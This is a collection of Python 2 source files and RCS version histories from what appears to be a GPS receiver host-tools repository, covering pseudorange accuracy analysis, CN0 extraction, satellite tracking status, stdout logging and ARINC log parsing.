a30 5
MIN_SIGNAL_CN0 = 30.0
MAX_SIGNAL_CN0 = 55.0
MIN_SIGNAL_SIGMA = 0.36
MAX_SIGNAL_SIGMA = 0.15
SIGMA_PER_CN0 = (MAX_SIGNAL_SIGMA - MIN_SIGNAL_SIGMA) / (MAX_SIGNAL_CN0 - MIN_SIGNAL_CN0)
d33 1
a33 1
SAMPLING_INTERVAL_SEC = 0.1
d35 2
d38 5
a42 4
def pr_noise_sigma(cn0):
# assert(cn0 >= MIN_SIGNAL_CN0)
# return MIN_SIGNAL_SIGMA + SIGMA_PER_CN0 * (cn0 - MIN_SIGNAL_CN0)
return MIN_SIGNAL_SIGMA
d45 1
d52 1
d58 1
d71 1
d77 1
d85 3
d89 1
a89 1
"""Accuracy data from a single measurement"""
d97 1
a97 1
"""A list of accuracy data taken from a single set of measurements"""
d108 1
a108 1
def sigma_squared_norm(self, i):
d121 1
d125 1
a125 1
sum += math.pow(self[i].pr_err, 2.0) / (self.sigma_squared_norm(i) * N)
d129 1
a129 1
"""A dictionary of accuracy data, indexed by TOW of the data """
d132 1
d137 1
d141 1
d146 1
d154 1
a154 1
fname = 'combined' + rawlog_id + '.txt'
d157 1
a157 1
print >> f, 'TOW ',
d160 1
a160 1
print >> f, ' %3i' % (prn, ),
d193 1
a193 1
print >> f, '%f' % (tow, ),
d200 1
a200 1
print >> f, '%9.6f ' % (err, ),
d214 1
a214 1
print ' MOPS weighted RMS error from %i independent samples of %i is %0.6f' % \
d217 1
a217 1
# print error statistics for each PRN and for all
d240 1
d259 1
d261 1
a261 1
fname = 'msg21_%s_py.txt' % (prn, )
d270 1
d286 1
d292 2
d298 2
d307 3
d311 4
a314 1
mbias = error / svtruth.deltarange
d322 1
d327 1
d330 1
a330 1
# handle xpr packets:
d342 1
a342 1
# print cn0, pr_noise_sigma(cn0)
d348 1
a348 1
pr_noise_sigma(cn0))
d357 1
a357 1
# handle expr packets from 2GA:
d377 1
a377 1
tow = msg.gps_tow + 0.001
d379 2
a380 1
if (meas.validity_mask & 0x08) and (meas.prn not in EXCLUDED_PRNS): # and (meas.health == 'NORM'): # and (meas.lock_count > 5):
d388 1
a388 1
pr_noise_sigma(meas.carrier_to_noise_ratio),
@
1.5
log
@added MOPS weighted RMS calculation@
text
@d3 1
a3 1
import math
d13 4
d18 3
a20 2
assert(cn0 >= MIN_SIGNAL_CN0)
return MIN_SIGNAL_SIGMA + SIGMA_PER_CN0 * (cn0 - MIN_SIGNAL_CN0)
d52 1
a52 1
def __init__(self, tow, pr, pr_sigma):
d56 1
d59 1
d67 1
d80 1
d85 1
a85 1
sum += (N - 1) * sigma_sqrd
d88 1
a88 1
return sum / N #!!! (2.0 * N)
d98 1
a98 1
"""A dictionary of accuracy data """
d107 4
a110 2
def summarize(self):
print 'Pseudorange Accuracy Summary:'
d112 17
a128 2
# remove the common-mode error (bias) from each set of measurements
prn_errs = {}
d131 36
a166 15
f = open('combined.txt', 'w')
for tow in self.keys():
tow_list = self[tow]
if len(tow_list) < 4:
continue
bias = tow_list.bias()
biases.append((tow, bias))
for data in tow_list:
data.pr_err -= bias
print >> f, tow, data.prn, data.pr_err
try:
prn_errs[data.prn].append(data.pr_err)
except KeyError:
prn_errs[data.prn] = [data.pr_err]
err_sqrd_sum += tow_list.norm_err_sqrd()
a167 2
print ' Average bias is', stats.Stats([bias[1] for bias in biases]).avg
print ' MOPS weighted RMS error is %0.6f' % (math.sqrt(err_sqrd_sum / len(self)), )
d170 3
a172 1
f2 = open('bias.txt', 'w')
d177 5
d186 1
d190 1
a190 1
print ' %4d %11.6f %11.6f %11.6f %5i' % \
d193 1
a193 1
print ' All %11.6f %11.6f %11.6f %5i' % \
a198 1
# print 'Writing', fname, '...',
a202 1
# print 'done.'
d213 1
a246 1
# print 'first msg line:', prn_msgs[0].line
d250 1
a250 1
print 'PRN %i: Truth data not found at measurement TOW %f' % (prn, svdata,tow)
d260 1
a260 1
print 'PRN %i: Excessive delta time of %f at TOW %f:' % (prn, timedelta, svdata.tow)
a264 5
## print 'svdata.tow=%0.9f cbias.bias=%0.9f svtruth.tow=%0.9f' % (svdata.tow, cbias.bias, svtruth.tow)
## print 'svtruth.range=%0.9f svtruth.dr=%0.9f prev_svtruth.dr=%0.9f' % \
## (svtruth.range, svtruth.deltarange, prev_svtruth.deltarange)
## print 'svdata.pr=%0.9f' % (svdata.pr, )
## print 'timedelta=%0.9f prop_truthrange=%0.9f error=%0.9f' % (timedelta, prop_truthrange, error)
d270 1
a270 1
acc_data_dict.summarize()
d272 2
a273 2
def add_svdata(self, prn, tow, pr, pr_sigma=0.0):
svdata = Svdata(tow, pr, pr_sigma)
d302 4
d307 3
a314 1
Parser.handle32(self, msg)
d326 1
a326 1
tow = msg.gps_tow # + 0.001
d328 10
a337 2
if (meas.validity_mask & 0x08) and (meas.health == 'NORM'): # and (meas.lock_count > 5):
self.add_svdata(meas.prn, tow, meas.pseudorange, pr_noise_sigma(meas.carrier_to_noise_ratio))
d340 1
@
1.4
log
@eliminated lock count filter
added output files@
text
@d3 1
d7 10
d47 1
a47 1
def __init__(self, tow, pseudorange):
d49 2
a50 1
self.pseudorange = pseudorange
d54 1
a54 1
def __init__(self, prn, pseudorange_err):
d56 32
a87 2
self.pseudorange_err = pseudorange_err
d89 1
d91 2
a92 2
def add_data(self, tow, prn, pseudorange_err):
data = AccuracyData(prn, pseudorange_err)
d96 1
a96 1
self[tow] = [data]
d100 5
a104 6
errs = []
for tow_list in self.values():
for data in tow_list:
errs.append(data.pseudorange_err)
(avg, rms, std, skew) = stats.stats(errs)
print 'bias avg=%f, bias std=%f' % (avg, std)
a105 2
f2 = open('bias.txt', 'w')
prn_errs = {}
d110 2
a111 1
sum = 0.0
d113 2
a114 6
sum += data.pseudorange_err
bias = sum / len(tow_list)
print >> f2, bias
for data in tow_list:
err = data.pseudorange_err - bias
print >> f, tow, data.prn, err
d116 1
a116 1
prn_errs[data.prn].append(err)
d118 2
a119 1
prn_errs[data.prn] = [err]
d121 7
d129 2
a130 1
print ' Last bias is', bias
d142 2
a143 1
d161 1
a161 1
self.msg30 = None
d213 1
a213 1
error = svdata.pseudorange - prop_truthrange
d217 1
a217 1
## print 'svdata.pseudorange=%0.9f' % (svdata.pseudorange, )
d221 1
a221 1
acc_data_dict.add_data(svdata.tow, prn, error)
d226 2
a227 2
def add_svdata(self, prn, tow, pesudorange):
svdata = Svdata(tow, pesudorange)
d234 4
a237 1
d239 13
a251 1
self.add_svdata(msg.prn, msg.tow + self.tow_adjust_sec, msg.rk_pr)
d277 1
a277 1
self.add_svdata(meas.prn, tow, meas.pseudorange)
@
1.3
log
@@
text
@d57 6
d64 1
d74 1
d82 2
a83 1
f.close()
d87 1
d89 16
a104 2
(avg, std, skew) = stats.stats(prn_errs[prn])
print ' %4d %20.15f %20.15f %4i' % (prn, avg, std, len(prn_errs[prn]))
d109 1
a109 1
svranges = svranges.Svranges()
d214 1
a214 1
if (meas.validity_mask & 0x08) and (meas.health == 'NORM') and (meas.lock_count > 10):
@
1.2
log
@@
text
@d3 1
a3 1
import svranges
d42 1
a42 1
def __init__(self, prn, pseudorange):
d44 1
a44 1
self.pseudorange = pseudorange
d48 2
a49 2
def add_data(self, tow, prn, pseudorange):
data = AccuracyData(prn, pseudorange)
d56 2
d59 4
a62 1
for tow_list in self.values():
d65 1
a65 1
sum += data.pseudorange
d68 2
a69 1
err = data.pseudorange - bias
d74 2
a75 3
print 'Pseudorange Accuracy Summary:'
import stats
d80 1
a80 1
print ' %4d %19.15f %19.15f' % (prn, avg, std)
a84 1
d86 1
d165 1
a165 1
self.add_svdata(msg.prn, msg.tow, msg.rk_pr)
d168 1
a168 1
self.cbiases.append(ClockBias(msg.mk_tow, msg.mk_cbias))
d178 3
a180 1
return
d182 1
a182 1
return
d188 5
a192 4
for measurement in self.msg30.measurements:
if measurement.validity_mask & 0x08:
self.add_svdata(measurement.prn, msg.gps_tow, measurement.pseudorange)
self.cbiases.append(ClockBias(msg.gps_tow, 0.0)) # actual clock bias is built into measurements
@
1.1
log
@Initial revision@
text
@d40 37
d79 2
d85 1
a85 2
self.msg2C = None
self.msg53 = None
d105 1
d108 1
d110 5
d116 1
a116 1
print 'Writing', fname, '...',
d121 1
a121 1
index = self.svranges[prn].get_tow_index(svdata.tow)
d125 1
a125 1
svtruth = self.svranges[prn][index]
d130 1
a130 1
prev_svtruth = self.svranges[prn][index - 1]
d145 1
d147 2
a148 1
print 'done.'
d167 2
a168 2
def handle2C(self, msg):
self.msg2C = msg
d171 15
a185 7
if self.msg2C != None:
self.add_svdata(self.msg2C.prn, msg.gps_tow, self.msg2C.range)
if self.msg53 != None:
self.cbiases.append(ClockBias(msg.gps_tow, self.msg53.clock_bias_sec))
def handle53(self, msg):
self.msg53 = msg
@
<file_sep>/pytools/Other Pytools/sv_tracking_status.py
""" Shows version changes and mode changes """
from xpr_log import Parser as Parser
import sys
import string
class sv_tracking_status(Parser):
def __init__(self):
Parser.__init__(self)
self.get_parse_ids_from_handlers()
outfname = string.replace(sys.argv[1], '.txt', '.csv');
self.mode_lookup = {'Idle': 0, 'Acquisition': 1,'Navigation': 2,'Non-precision_SBAS_Navigation': 3, 'GBAS': 4, 'Dead-Reckoning': 5, 'Reserved': 6, 'Precision_SBAS_Navigation': 7, 'Test': 8, '???': 9}
#open output file and write header
self.f = open(outfname,'w');
print >> self.f, 'Sequence,TOW,Mode,Fault,FD,num_sv_visible,num_sv_tracked_3A,num_sv_tracked_36,num_sv_in_use_3b,num_corrections_rxd,num_corrections_used'
self.restart_second()
def handle31(self, msg):
self.have_31 = 1
self.num_visible_this_second = msg.number_of_visible_satellites
self.mode_this_second = self.mode_lookup [msg.mode]
self.faulted_this_second = int(msg.fault)
self.FD_this_second = msg.RAIM_detected_ranging_failure
def handle32(self, msg):
if msg.at_pps:
self.tow_this_second = msg.gps_tow
def handle36(self, msg):
self.num_corrections_used_this_second = msg.number_of_corrections_used
self.num_corrections_rxd_this_second = msg.number_of_corrections_received
self.num_tracked_this_second = msg.number_of_ranging_sources_tracked
def handle38(self, msg):
self.msg38 = msg
self.process_second()
self.restart_second()
def handle3A(self, msg):
if self.msg3A is None or self.msg3A.time_mark_sequence_number != msg.time_mark_sequence_number:
# this is the first message in the sequence
self.msg3A = msg
else:
# aggregate data from multiple messages with the same sequence number
self.msg3A.channel_stat += msg.channel_stat
def handle3B(self, msg):
if self.msg3B is None or self.msg3B.time_mark_sequence_number != msg.time_mark_sequence_number:
# this is the first message in the sequence
self.msg3B = msg
else:
# aggregate data from multiple messages with the same sequence number
self.msg3B.measurements += msg.measurements
def restart_second(self):
self.num_visible_this_second = 0 #from packet 31
self.num_corrections_used_this_second = 0 #from packet 36
self.num_corrections_rxd_this_second = 0 #from packet 36
self.num_tracked_this_second = 0 #from pacekt 36
self.tow_this_second = 0.0 #from packet 32
self.mode_this_second = -1 #from packet 31
self.faulted_this_second = 0 #from packet 31
self.FD_this_second = 0 #from pacekt 31
self.have_31 = 0
self.msg38 = self.msg3A = self.msg3B = None
def process_second(self):
num_tracked_this_second_3A = 0
complete_data = 1
# verify that we have a 3A
if self.msg3A is None:
complete_data = 0
print 'Missing packet 3A at %s' % (self.msg38.timestamp())
else:
# verify that 3A is complete
if len(self.msg3A.channel_stat) != self.msg3A.number_of_channels_in_receiver:
complete_data = 0
print 'Incomplete 3A at %s: %d of %d' % (self.msg3A.timestamp(), len(self.msg3A.channel_stat), self.msg3A.number_of_channels_in_receiver)
else:
for status in self.msg3A.channel_stat:
if status.state >= 4:
num_tracked_this_second_3A = num_tracked_this_second_3A + 1
num_in_use_this_second_3b = 0
if self.msg3B is None:
complete_data = 0
print 'Missing packet 3B at %s' % (self.msg38.timestamp())
else:
# verify that 3B is complete
if len(self.msg3B.measurements) != self.msg3B.total_number_of_measurements:
complete_data = 0
print 'Incomplete 3B at %s: %d of %d' % (self.msg3B.timestamp(), len(self.msg3B.measurements), self.msg3B.total_number_of_measurements)
else:
for meas in self.msg3B.measurements:
if (meas.validity_and_in_use_mask & 0x40):
num_in_use_this_second_3b = num_in_use_this_second_3b + 1
if complete_data == 0:
return
#print the line header
print >> self.f, '%d,' % (self.msg38.get_sequence_number()),
print >> self.f, '%6.3f,' % (self.tow_this_second),
print >> self.f, '%d,' % (self.mode_this_second),
print >> self.f, '%d,' % (self.faulted_this_second),
print >> self.f, '%d,' % (self.FD_this_second),
print >> self.f, '%d,' % (self.num_visible_this_second),
print >> self.f, '%d,' % (num_tracked_this_second_3A),
print >> self.f, '%d,' % (self.num_tracked_this_second),
print >> self.f, '%d,' % (num_in_use_this_second_3b),
print >> self.f, '%d,' % (self.num_corrections_rxd_this_second),
print >> self.f, '%d,' % (self.num_corrections_used_this_second),
print >> self.f
def handle_parse_error(self, error, line_num, line):
print 'Parsing error', error, ' on line', line_num, 'of input file:'
print ' ', line
self.restart_second()
if __name__ == '__main__':
sv_tracking_status().main('Satellite Tracking Status')
<file_sep>/pytools/Other Pytools/cn0s.py
"""Extracts CN0s from a log file. Output is in a table format with time as
the first column and one row for each PRN. When no CN0 value is available
for the PRN, 0 is ouptut."""
__version__ = '$Revision: 1.2 $'
from xpr_log import Parser
class CN0s(Parser):
def __init__(self):
Parser.__init__(self)
self.prns = {}
self.data = []
self.msg30 = None
def main(self, title):
Parser.main(self, title)
# form output fname from input fname
import os.path
out_fname = os.path.splitext(self.fname)[0] + '.cn0'
print 'Writing CN0s from %s to %s' % (self.fname, out_fname)
f = open(out_fname, 'wt')
# get and sort a list of PRNs
prns = self.prns.keys()
prns.sort()
# print heading
print >> f, ' Time ',
for prn in prns:
print >> f, ' %3i' % (prn, ),
print >> f
# print data
for data in self.data:
print >> f, '%02i/%02i/%02i %02i:%02i:%04.1f ' % data[0],
for prn in prns:
try:
print >> f, ' %3i' %(data[1][prn], ),
except KeyError:
print >> f, ' 0',
print >> f
def handle30(self, msg):
self.msg30 = msg
def handle32(self, msg):
if self.msg30 is None:
return
tm = (msg.month, msg.day, msg.year % 100, msg.hour, msg.minute,
msg.second)
cn0s = {}
for m in self.msg30.measurements:
self.prns[m.prn] = 1
cn0s[m.prn] = m.carrier_to_noise_ratio
self.data.append( (tm, cn0s) )
if __name__ == '__main__':
CN0s().main('CN0s')<file_sep>/rcs/stdout_logger.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2005.04.06.14.40.38; author griffin_g; state In_Progress;
branches ;
next 1.1;
1.1
date 2005.04.05.16.08.29; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project \\oltfs021\comnavsw/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@@
text
@"""stdout_logger.py: provides a logging capability for sys.stdout"""
__version__ = '$Revision: 1.2 $'
import sys
class Logger:
"""Redirects sys.stdout to both print output and log it output to a file"""
def __init__(self, fname='stdout_log.txt', mode='wt'):
self.f = file(fname, mode)
self.stdout = sys.stdout
sys.stdout = self
def __del__(self):
if not self.f.closed:
self.close()
def close(self):
self.f.close()
sys.stdout = self.stdout
def write(self, s):
self.f.write(s)
self.stdout.write(s)
if __name__ == '__main__':
logger1 = Logger()
print 'Testing...\n'
print 'Test 1:'
print ' __init__'
logger1.close()
print ' __del__'
del logger1
# note that __del__ does not get called when you explicitly delete the
# object, because sys.stdout still holds a reference to it. instead,
# __del__ for logger1 gets called when logger2 takes over
# sys.stdout, below
logger2 = Logger('stdout_log.txt', 'at')
print '\nTest 2:'
print ' __init__'
print ' close'
print '\n...done testing'
logger2.close()@
1.1
log
@Initial revision@
text
@d3 1
a3 1
__version__ = '$Revision: 1.1 $'
d8 1
a8 1
"""Redirects sys.stdout to log output to a file, as well as print it """
d16 1
a16 1
if self.f is not None:
a20 1
self.f = None
d24 1
a24 2
if self.f is not None:
self.f.write(s)
@
<file_sep>/pytools/Other Pytools/print_segment.py
""" Shows system mode change times """
from xpr_log import Parser
import sys
class Error(Exception):
def __init__(self, value=''):
Exception.__init__(self, value)
self.value = value
class print_segment(Parser):
"""*********************************************************************"""
def __init__(self):
Parser.__init__(self)
self.last_sw_version = None
self.start = int(sys.argv[2])
self.stop = int(sys.argv[3])
"""*********************************************************************"""
def parse_msg_lines(self, lines):
m = self.msg_re.search(lines[0])
if m:
try :
self.second = int(m.group(2))
self.num_parsed += 1
if self.second >= self.stop:
self.abort_parse = True;
except (Error, AssertionError), err:
msg = getattr(err, 'value', '')
print '%s Error in line number %i:' % (msg, self.line_num)
print lines[0]
sys.exit(1)
if self.second >= self.start:
for line in lines:
print line,
if __name__ == '__main__':
p = print_segment()
p.parse_command_line_fnames()<file_sep>/EventClass.py
""" """
import time, datetime, sys, os
from sys import argv
import math
import Config
cConfigLoader = Config.Config()
class EventClass:
def __init__( self ):
""" VARIABLE DEFINITIONS FOR CUSTOMIZATION """
cConfigLoader.readConfig( "Config.ini" )
self.FOS = float( cConfigLoader.getVal( 'Default', 'Factor_Of_Safety' ) )
""" Folders and files needed for this class. """
currentPath = "ProcessedFiles"
if not os.path.exists( currentPath ):
print( "Creating ProcessedFiles folder." )
os.makedirs( currentPath )
currentPath = os.path.join( "ProcessedFiles", "EventsFound" )
if not os.path.exists( currentPath ):
print( "Creating EventsFound folder." )
os.makedirs( currentPath )
currentPath = os.path.join( "ProcessedFiles", "EventsFound", "CurrentEvents.dat" )
if( os.path.exists( currentPath ) == False ):
print( "Creating CurrentEvents.dat" )
file = open( currentPath, 'a' )
file.write("BANM 0 This is an empty event. NA\nOLAM 0 This is an empty event. NA\n")
file.close()
currentPath = os.path.join( "ProcessedFiles", "EventsFound", "CurrentStats.dat" )
if( os.path.exists( currentPath ) == False ):
print( "Creating CurrentStats.dat" )
file = open( currentPath, 'a' )
file.write( "False False" )
file.close()
def createCorrespondingNumber( self, year, day, time ):
""" Year must be 4 digits. Day must be 3 digits, and time must """
""" be in 4 digits military time. Creates a correspondingNumber for """
""" that date and time. """
correspondingNumber = ( ( year * 10000000.0 ) + ( day * 10000.0 ) + time )
return correspondingNumber
def getCurrentCorrespondingNumber( self ):
""" Creates a corresponding number for the current time. """
year = float( time.strftime( '%Y' ) ) # Returns 4 digit year
day = float( time.strftime( '%j' ) ) # Returns day of year - 0 to 366
currentTime = float( time.strftime( '%H%M' ) ) # Returns military time
correspondingNumber = ( ( year * 10000000.0 ) + ( day * 10000.0 ) + currentTime )
return correspondingNumber
def compareCorrespondingNumbers( self, correspondingNumber1, correspondingNumber2 ):
""" number1 is the data file, number2 is the event being checked against. """
""" If the data file is within 1 hour before or 10 hours after, we return """
""" true. """
""" Converts Corresponding numbers to the correct numbers for comparison. """
""" Last four digits are in military time: XXXX. To make comparison, they """
""" must be convert to 10,000 to get proper previous day and after day. """
""" Formula is x = 10,000 * ( militaryTime / 2400 ) """
""" Unrolled loop because faster than converting to string to grab four digits. """
tempDigit1_1 = ( correspondingNumber1/10**0 ) % 10 # Grabs digit in 1's place
tempDigit1_10 = ( correspondingNumber1/10**1 ) % 10 # Grabs digit in 10's place
tempDigit1_100 = ( correspondingNumber1/10**2 ) % 10 # Grabs digit in 100's place
tempDigit1_1000 = ( correspondingNumber1/10**3 ) % 10 # Grabs digit in 1000's place
fourDigit1 = ( tempDigit1_1000 * 1000 ) + ( tempDigit1_100 * 100 ) + ( tempDigit1_10 * 10 ) + ( tempDigit1_1 )
fourDigit1 = fourDigit1 * 10000.0 / 2400
correspondingNumber1 = int( math.floor( correspondingNumber1 / 1000.0) ) * 1000
correspondingNumber1 = correspondingNumber1 + fourDigit1
tempDigit2_1 = ( correspondingNumber2/10**0 ) % 10 # Grabs digit in 1's place
tempDigit2_10 = ( correspondingNumber2/10**1 ) % 10 # Grabs digit in 10's place
tempDigit2_100 = ( correspondingNumber2/10**2 ) % 10 # Grabs digit in 100's place
tempDigit2_1000 = ( correspondingNumber2/10**3 ) % 10 # Grabs digit in 1000's place
fourDigit2 = ( tempDigit2_1000 * 1000 ) + ( tempDigit2_100 * 100 ) + ( tempDigit2_10 * 10 ) + ( tempDigit2_1 )
fourDigit2 = fourDigit2 * 10000.0 / 2400
correspondingNumber2 = int( math.floor( correspondingNumber2 / 1000.0) ) * 1000
correspondingNumber2 = correspondingNumber2 + fourDigit2
""" 2nd corresponding number is the event. 1st is the data file. """
""" This makes sure the file is within the one hour before or ten hours """
""" after time period. """
if( ( correspondingNumber1 >= correspondingNumber2 - 416.6667 - self.FOS ) and ( correspondingNumber1 <= correspondingNumber2 + 4166.667 + self.FOS ) ):
return True
else:
return False
def logUniqueEvent( self, server, createCorrespondingNumber, message, filePathToData ):
""" Adds an unique event to the fault log. Has current date and time. """
""" Doesn't get used in corresponding number comparisons. """
writeToThisFile = os.path.join( "ProcessedFiles", "EventsFound", "CurrentEvents.dat" )
if( createCorrespondingNumber == True ):
correspondingNumber = str( self.getCurrentCorrespondingNumber() )
else:
correspondingNumber = str( 0 )
try:
filePath = open( writeToThisFile, "a+" )
filePath.write( server + " " + correspondingNumber + " " + message + " " + filePathToData + "\n" )
filePath.close()
return
except:
print( "Error opening %s. (cEventClass.logUniqueEvent)" % writeToThisFile )
return
def logFoundFault( self, server, correspondingNumber, message, filePathToData ):
writeToThisFile = os.path.join( "ProcessedFiles", "EventsFound", "CurrentEvents.dat" )
try:
filePath = open( writeToThisFile, "a+" )
filePath.write( server + " " + str( correspondingNumber ) + " " + message + " " + filePathToData + "\n" )
filePath.close()
return
except:
print( "Error opening %s. (cEventClass.logFoundFault)" % writeToThisFile )
return
def getEventList( self, jaggedList ):
""" Returns either a simple list for emailing purposes, or a complex list for """
""" corresponding number and server comparisons. """
readFromThisFile = os.path.join( "ProcessedFiles", "EventsFound", "CurrentEvents.dat" )
if( jaggedList == False ):
try:
with open( readFromThisFile ) as f:
listOfFaults = f.read()
return listOfFaults
except:
print( "Error opening simple list %s. (cEventClass.getEventList)" % readFromThisFile )
return [ 0 ]
else:
try:
with open( readFromThisFile, "r" ) as ins:
listOfFaults = []
for line in ins:
tempLine = line.split()
if( tempLine[ 0 ] != "NA" ):
listOfFaults.append( tempLine ) ## Want only faults - not server events
return listOfFaults
except:
print( "Error opening complex list %s. (cEventClass.getEventList)" % readFromThisFile )
return [ 0 ]<file_sep>/pytools/Other Pytools/get_5f_with_tow.py
# Copyright 20011-2012, Honeywell International Inc.
from xpr_log import Parser
class get_5F_with_tow(Parser):
def parse(self, fname):
meas_fname = 'meas_5F_out.txt'
print 'Writing 0x5F measurements from', fname, 'to', meas_fname
self.meas_f = file(meas_fname, 'wt')
self.msg32 = self.msg5F = None
Parser.parse(self, fname)
# handle EXPR packets 32, 5f
def handle32(self, msg):
# process measurements from the prior second
self.process_measurements()
# mark old messages as invalid
self.msg5F = None
# save the new msg32 for the next processing cycle
self.msg32 = msg
def handle5F(self, msg):
if self.msg5F is None or \
self.msg5F.time_mark_sequence_number != msg.time_mark_sequence_number:
# this is the first message in the sequence
self.msg5F = msg
def process_measurements(self):
# check if we have a valid msg32
if self.msg32 is None:
return
#if not self.msg32.at_pps:
# return # not at PPS
if not self.msg32.validity & 0x20:
return # time fields not valid
# calculate TOW and check if measurements can be used
self.tow = self.msg32.gps_tow
self.wn = self.msg32.gps_week
self.year = self.msg32.year
self.month = self.msg32.month
self.day = self.msg32.day
self.hour = self.msg32.hour
self.min = self.msg32.minute
self.sec = self.msg32.second
seq_num = self.msg32.time_mark_sequence_number
if self.msg5F is None:
print 'Missing 5F at', self.msg32.timestamp()
return
# all pre-conditions have been met: process 5F's measurements
print >> self.meas_f, '%d %.11f %d %f %f %f %f %f %f %f %f %d %d %d %d' % \
(self.wn, self.tow, \
self.msg5F.validity, self.msg5F.GBASD_30s_smoothed_latitude, \
self.msg5F.GBASD_30s_smoothed_longitude, self.msg5F.GBASD_30s_smoothed_altitude, \
self.msg5F.GBASD_100s_smoothed_latitude, self.msg5F.GBASD_100s_smoothed_longitude, \
self.msg5F.GBASD_100s_smoothed_altitude, self.msg5F.D_lat, \
self.msg5F.D_vert, self.msg5F.Selected_Approach_Service_Type, \
self.msg5F.Active_Approach_Service_Type, self.msg5F.Fault_Detected_GBAS, \
self.msg5F.OnGround_Slow_Discrete)
if __name__ == '__main__':
get_5F_with_tow().main('get_5F_with_tow')
<file_sep>/rcs/code_adj.py
head 1.3;
branch ;
access ;
symbols 2PXRFS1:1.3 PVTSE_tests:1.3 HT_0113:1.3 TRR1:1.3;
locks ; strict;
comment @@;
1.3
date 2008.04.03.20.41.55; author Grant.Griffin; state In_Progress;
branches ;
next 1.2;
1.2
date 2007.05.14.15.13.20; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2005.02.03.21.07.45; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.3
log
@@
text
@"""Extracts the code loop adjustments in packet 0x54 from one or more log files"""
from mode_changes import ModeChanges as Parser
class CodePhaseAdjustment(Parser):
def __init__(self):
Parser.__init__(self)
self.data = {}
self.tow = 0.0
self.tow_data = {}
def main(self, title):
Parser.main(self, title)
ch_nos = self.data.keys()
ch_nos.sort(lambda x, y: cmp(len(self.data[x]), len(self.data[y])))
for ch_no in ch_nos:
fname = 'ch' + str(ch_no)
print 'Writing', len(self.data[ch_no]), 'points to', fname, '...',
f = open(fname, 'wt')
for msg in self.data[ch_no]:
print >> f, '%7i %i %8i %f %f %f %i' % \
(msg.tick_ms, msg.locked, msg.adjustment, msg.error / 1000000.0)
## print >> f, '%0.1f %f' % (msg.tow, msg.error / 1000000.0)
## msg.gain, msg.threshold, msg.costas_lock_ind)
# print >> f, '%8i %3i' % (msg.adjustment, msg.error)
f.close()
print 'done.'
filtered_avg_error = None
f = open('ch_all', 'wt')
tows = self.tow_data.keys()
tows.sort()
for tow in tows:
sum = 0.0
for msg in self.tow_data[tow]:
sum += abs(msg.error)
avg_error = (sum / len(self.tow_data[tow])) / 1000000.0
if filtered_avg_error is None:
filtered_avg_error = avg_error
else:
filtered_avg_error += (avg_error - filtered_avg_error) * 0.01
print >> f, '%0.1f %f %f' % (tow, avg_error, filtered_avg_error)
f.close()
def handle32(self, msg):
self.tow = msg.gps_tow
def handle54(self, msg):
msg.tow = self.tow
if (not self.data.has_key(msg.ch_no)):
self.data[msg.ch_no] = []
self.data[msg.ch_no].append(msg)
try:
self.tow_data[self.tow].append(msg)
except KeyError:
self.tow_data[self.tow] = [msg]
if __name__ == '__main__':
CodePhaseAdjustment().main('Code Phase Adjustment')@
1.2
log
@changed output file name format
added output data fields@
text
@d10 2
d22 4
a25 1
print >> f, '%7i %8i %3i %4i' % (msg.tick_ms, msg.adjustment, msg.error, msg.magnitude)
d29 20
a48 1
d50 1
d54 4
@
1.1
log
@Initial revision@
text
@d16 1
a16 1
fname = 'code_adj.ch' + str(ch_no)
d21 1
@
<file_sep>/pytools/Other Pytools/arinc_log.py
""" arinc_log.py: This module provides a framework <tee-hee> to process ARINC
log files in the "raw" text format produced by the Ballard BusBox.
Copyright 2007, Honeywell International Inc.
To use this module:
1) Add support for any messages you need to the Label class below.
2) Derive your own parser class from Parser.
3) Override its functions as needed.
4) Add 'handleXXX', 'strXXX' and 'reprXXX' functions of your own to handle
whatever labels you need.
5) Instantiate the class and call one of the 'parse' functions, either directly
of via your __init__ function.
"""
__version__ = '$Revision: 1.13 $'
import struct
import arinc
class Parser:
"""Base class for parsing ARINC log files in various formats"""
SEPARATOR = ','
def __init__(self, ssms_to_parse=range(0, 4)):
"""Constructs the object"""
self.fname = ''
self.set_ssms_to_parse(ssms_to_parse)
self.ids_to_parse = {} # default is to parse all
self.line_num = 0
self.num_handled = 0
self.timestamp = None
def main(self, title='', fname=''):
"""Implements a simple main function for use by derived classes"""
if title:
print title
print
self.get_parse_ids_from_handlers()
self.parse(fname)
self.at_main_end()
def at_main_end(self):
"""Overridable function to do custom processing at the end of main"""
pass
def set_ssms_to_parse(self, ssms):
"""Sets the list of BNR-style SSMs to be parsed. (Labels with
BCD-style SSMs are converted to BNR style prior to being matched.)"""
self.ssms_to_parse = {}
for ssm in ssms:
self.ssms_to_parse[ssm] = True
def set_ids_to_parse(self, ids=[]):
"""Sets the IDs to be parsed."""
self.ids_to_parse = {}
for id_ in ids:
self.ids_to_parse[id_] = True
def get_handler_ids(self):
"""Gets a list of label IDs which have handlers"""
import re
handler_ids = []
for name in dir(self):
m = re.search('^handle(\d+)', name)
if m:
id = m.group(1)
handler_ids.append(id)
return handler_ids
def get_parse_ids_from_handlers(self):
self.set_ids_to_parse(self.get_handler_ids())
def parse(self, fname):
"""Parses an ARINC log file in various file formats"""
self.line_num = 1
self.line = ''
self.fname = fname
print 'Parsing', self.fname
fname = fname.lower()
if fname.endswith('.raw'):
self.parse_raw()
elif fname.endswith('.bin'):
self.parse_bin()
else:
self.parse_csv()
def parse_bin(self):
"""Parses the ATEToolkit binary log file format"""
f = file(self.fname, 'rb')
while True:
x = f.read(8)
if len(x) < 8:
break
(timestamp, data) = struct.unpack('II', x)
# print '%08X %08X' % (timestamp, data)
self.parse_label(oct(int(data & 0xFF)), int(data >> 8))
f.close()
def parse_csv(self):
"""Parses the ATEToolkit CSV log file format"""
f = file(self.fname, 'rt')
for self.line in f:
fields = self.line.split(self.SEPARATOR)
try:
Lbl = fields[1]
Value = int(fields[2], 16)
if fields[3] != 'NA':
Value <<= 2 # compensate for SDI shift
# print '-> %03s %06X' % (Lbl, Value)
except IndexError:
break # hit end-of-file text
self.timestamp = fields[0]
self.parse_label(Lbl, Value, self.timestamp)
f.close()
def parse_raw(self):
